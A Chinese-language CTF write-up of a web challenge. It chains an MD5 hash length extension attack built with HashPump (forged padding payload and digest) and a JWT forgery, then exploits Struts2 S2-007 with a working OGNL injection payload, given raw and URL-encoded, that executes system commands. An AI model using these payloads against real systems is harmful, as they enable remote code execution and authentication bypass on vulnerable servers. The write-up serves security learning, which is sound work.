*CTF
进入靶机后界面如下
F12可以看到hint:JWT_key.php
,访问后得到源码
<?php
highlight_file(__FILE__);
include "./secret_key.php";
include "./salt.php";
//$salt = XXXXXXXXXXXXXX // the salt include 14 characters
//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["digest"])) {
if ($username === "admin" && $password != "root") {
if ($_COOKIE["digest"] === md5($salt.$username.$password)) {
die ("The secret_key is ". $secret_key);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("no no no");
}
}
通过代码审计,已经给了我们salt
和adminroot
凭借后的md5值,但是salt
的值我们不知道,我们的目的是得到secret_key
获得secret_key
的值需要传入名为digest
的cookie值并且需要他的值为md5解密后的salt+username+password
,需要username
为admin
并且password
为root
但是我们题目要求password
不能为root
,所以得出结论
坑你的,哈哈哈(无语)
研究了很久,才知道这题应该用到Hash长度拓展攻击
Hash长度拓展攻击(Length Extension Attack)是一种针对特定类型哈希算法的攻击技术。哈希算法是一种将任意大小的数据转换成固定大小哈希值(通常是一串十六进制字符)的算法。这些哈希值通常用于校验数据完整性和验证数据的唯一性。
在正常情况下,哈希算法的输出长度是固定的,而且算法是不可逆的,意味着从哈希值恢复原始数据是非常困难的。但是,由于一些哈希算法的设计问题,存在一种被称为“Hash长度拓展攻击”的漏洞。
Hash长度拓展攻击利用了特定哈希算法的漏洞,使攻击者能够根据已知的哈希值和原始数据的部分内容生成一个新的有效哈希值,而无需知道原始数据的其余部分。攻击者能够在已知哈希值的基础上构造出一个新的哈希值,看起来就像是在已知数据后附加了其他内容,并且新的哈希值也是有效的。
这种攻击对于使用特定哈希算法的应用程序可能构成安全威胁。攻击者可以通过构造恶意数据来绕过数据完整性验证,或者伪造数据,并通过已知哈希值的延展来伪装为合法数据。
这里不多赘述关于md5算法实现
了,直接上exp
我们要进行Hash长度拓展攻击
就要用到工具,HashPump
先在centos或者kali下安装HashPump:
git clone https://github.com/bwall/HashPump
#yum install g++ libssl-dev #centos
apt-get install g++ libssl-dev #kali
cd HashPump
make
make install
这里我kali安装的时候出了好多问题,可以重新配置一下DNS
安装后输入hashpump
使用方法:
Input Signature #为COOKIES中hash的值
Input Data #为用户名
Input Key Length #为长度
Input Data to Add #为密码(自定义)
这道题Signature
输入题目中给我们的md5值,即e6ccbf12de9d33ec27a5bcfb6a3293df
把生成的内容将\x
变为%
,转换为payload为:
adminroot%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00aa
因为我们要传入username
的值为admin
,所以我们将这个admin删掉,也就是
root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00aa
然后将digest
变成我们生成的值
42b98b1b4aa317759df36d0c79dd4fd9
利用burp发包
得到secret_key
,刚开始的时候给个了token,jwt解密一下,将刚才得到的secret_key
输入进去,可以看到签名正确
然后将user
改为admin
burp抓包修改cookie
进入新界面
Struts2
漏洞,S2-007
漏洞原理
当配置了验证规则
<ActionName>-validation.xml
时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回影响版本:Struts2 2.0.0 - Struts2 2.2.3
执行任意代码payload:
’ + (#_memberAccess[“allowStaticMethodAccess”]=true,#foo=new java.lang.Boolean(“false”) ,#context[“xwork.MethodAccessor.denyMethodExecution”]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘whoami’).getInputStream())) + ’
url编码后:
%27+%2b+(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23foo%3dnew+java.lang.Boolean(%22false%22)+%2c%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream()))+%2b+%27
burp发包后可以看出在age属性上有回显
查看环境变量,得到flag